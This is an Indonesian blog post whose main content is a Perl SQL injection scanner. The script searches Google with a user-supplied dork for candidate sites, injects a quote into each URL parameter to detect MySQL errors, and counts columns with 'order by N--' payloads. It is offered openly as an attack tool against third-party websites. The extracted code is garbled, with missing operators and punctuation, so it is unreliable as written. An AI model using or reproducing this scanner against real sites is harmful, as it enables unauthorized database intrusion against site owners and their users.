Senin, 12 Maret 2012

SQLi scanner in Perl

=======================================================================

#!/usr/bin/perl -w
use strict;
use 
LWP::UserAgent;
use 
Google::Search;
use 
utf8;
use 
Getopt::Long;

use 
constant DEBUG => 1;
my $__Version__ 1.0;

############ Globals ################# $| = 1;
my ($ua$url); my ($scheme$host$path$query$fragment) = (''''''''''); #URL parts my (@vars, @vals); # The splited query

my $sqlError =    "((?=.*sql)(?=.*syntax))|".
                
"((?=.*sql)(?=.*error)) |".
                
"(mysql)"my $fieldError "Unknown column|SQL";

############### Basic functions ################# sub createLWP {
        
$ua LWP::UserAgent->new;
        
$ua->agent('Linux Mozilla');
}
sub parseUrl {
    (
$scheme$host$path$query$fragment) =
    
$url =~ m|^(?:([^:/?#]+):)?(?://([^/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?|;
   
    
return if(not defined $query or $query eq ''); # If there is no query
   
    
@vars = ();
    @
vals = ();
   
    foreach 
my $pair (split /&/, $query)
    {
        
my ($var,$value) = split /=/, $pair;
       
        
push @vars$var;
        
push @vals$value;
    }
}
sub fetchHTML {
    
my $pageURL shift;
    
my $res;
   
    
$res $ua->get($pageURL);
   
    
#print $res->status_line," " unless ($res->is_success);
   
    
return $res->content# The HTML
     
############# Basic sqli functions ######################### sub checkVuln {
    
my $checkURL;
    
my $html;
   
    return 
"no" if(not defined $query or $query eq '');

    
# Check if already contains the sql string
    
$checkURL $scheme."://".$host.$path;
    
$html fetchHTML($checkURL);
   
    if(
$html =~ m/$sqlError/i)
    {
        return 
"Contains the SQL string by default.";
    }

    for(
my $i=0$i<@vars; ++$i)
    {
        
$checkURL $scheme."://".$host.$path."?";
       
        for(
my $j=0;$j<@vars;++$j)
        {
            if(
$j==$i)
            {
                
$checkURL .= $vars[$j]."=1'";
            }
            else
            {
                
$checkURL .= $vars[$j]."=".$vals[$j];
            }
           
            
$checkURL .= "&" if($j<@vals-1);
        }
       
        
$html fetchHTML($checkURL);
       
        if(
$html =~ m/Microsoft/i)
        {
            return 
"MSSQL (only MYSQL supported)";
        }
        if(
$html =~ m/$sqlError/i)
        {
            return 
"yes";
        }
    }
   
    return 
"no";
}
sub getNumOfFields {
    
my $maxNum shift;
   
    
my $checkURL $url;
   
    
my ($lastVar$lastVal) = ($vars[$#vars], $vals[$#vals]);
    
$checkURL =~ s/$lastVar=$lastVal/$lastVar=1 order by /;
   
    
my $i;
    for(
$i=1$i<=$maxNum$i+=10)
    {
        
my $html fetchHTML($checkURL.$i."--");

        if(
$html =~ m/$fieldError/i)
        {
            
last;
        }
    }
   
    for(
$i=$i$i>0; --$i)
    {
        
my $html fetchHTML($checkURL.$i."--");
       
        if(
$html !~ m/$fieldError/i)
        {
            return 
$i;
        }
    }
   
    return 
0;
}
########### Full sqli proccess ########################
sub fullCrack {
    print 
"Determining site vulnerability... ";
   
    
my $vuln checkVuln;

    print 
"[".$vuln."]\n";
   
    return if(
$vuln ne 'yes');
   
    print 
"Enter the max number of fields: ";
    
my $maxFields = <STDIN>;
    
chomp $maxFields;
   
    print 
"Determining number of fields... ";
   
    
my $numOfFields getNumOfFields($maxFields);
   
    if(
$numOfFields == 0)
    {
        print 
"failed!\nTry a bigger number or I just can't get it.\n";
    }
    else
    {
        print 
"[".$numOfFields."]\n";
    }
}
################ Print functions ############
sub printBar {
    print 
"*====================================*\n";
    print 
"|SQL injection scanner made by Skielf|\n";
    print 
"*====================================*\n";
sub printMenu {
    print 
"--------------\n";
    print 
"1: Scan sites\n";
    print 
"2: Scan specific url\n";
    print 
"3: Manual\n";
    print 
"4: exit\n";
    print 
"Command: ";
}
################## Functions from menu #################
sub manual {
    print 
"-------\n";
    print 
"|Manual|\n";
    print 
"-------\n";
    print 
"General things:\n";
    print 
"The script supports Mysql databases only.\n";
    print 
"Scan sites:\n";
    print 
"\tAsks for a dork, and number of results,\n";
    print 
"\tand searchs in google for valnurable sites\n\t(Tests every parameter)\n";
    print 
"Scan specific url:\n";
    print 
"\tDo a valnurability scan to the url and more.\n";
    print 
"\t(Uses only the last GET parameter)\n";
sub scanSpecific {
    print 
"URL: ";
   
    
$url = <STDIN>;
    
chomp $url;
   
    if(
$url !~ /(?=.*http)(?=.*www)/)
    {
        print 
"Url must be absolute\n";
    }
    else
    {
        
parseUrl;
        
fullCrack;
    }
}
sub scanSites {
    
my $dork;
    
my $maxPage 10;
   
    print 
"Dork: ";
   
    
$dork = <STDIN>;
    
chomp $dork;
   
    print 
"Maximum result: ";
    
$maxPage = <STDIN>;
    
chomp $maxPage;
   
    
my $search Google::Search->Webquery => "inurl:".$dork );
   
    
my $i=0;
    while (    
my $result $search->next and $i<$maxPage)
    {
        if(
$result->uri ne '')
        {   
            
$url $result->uri->as_string;
            print 
$url."...\t";
           
            
parseUrl;
           
            print 
"[".checkVuln."]\n";
        }
        ++
$i;
    }
    print 
$search->error->reason"\n" if $search->error;
}
########################################


# The main function 
sub main {
    
printBar;
   
    
createLWP;
   
    
my $exit 0;
    while(
not $exit)
    {
        
printMenu;
       
        
my $cmd = <STDIN>;
        
chomp $cmd;
       
        if(
$cmd =~ /1/)
        {
            
scanSites;
        }
        
elsif($cmd =~ /2/)
        {
            
scanSpecific;
        }
        
elsif($cmd =~ /3/)
        {
            
manual;
        }
        
elsif($cmd =~ /4/)
        {
            
$exit 1;
        }
    }
   
    print 
"Bye!\n";
}
# Call the main function main;  


=========================================================================

SQLi scanner in Perl Rating: 4.5 Diposkan Oleh: r007-

0 komentar:

Posting Komentar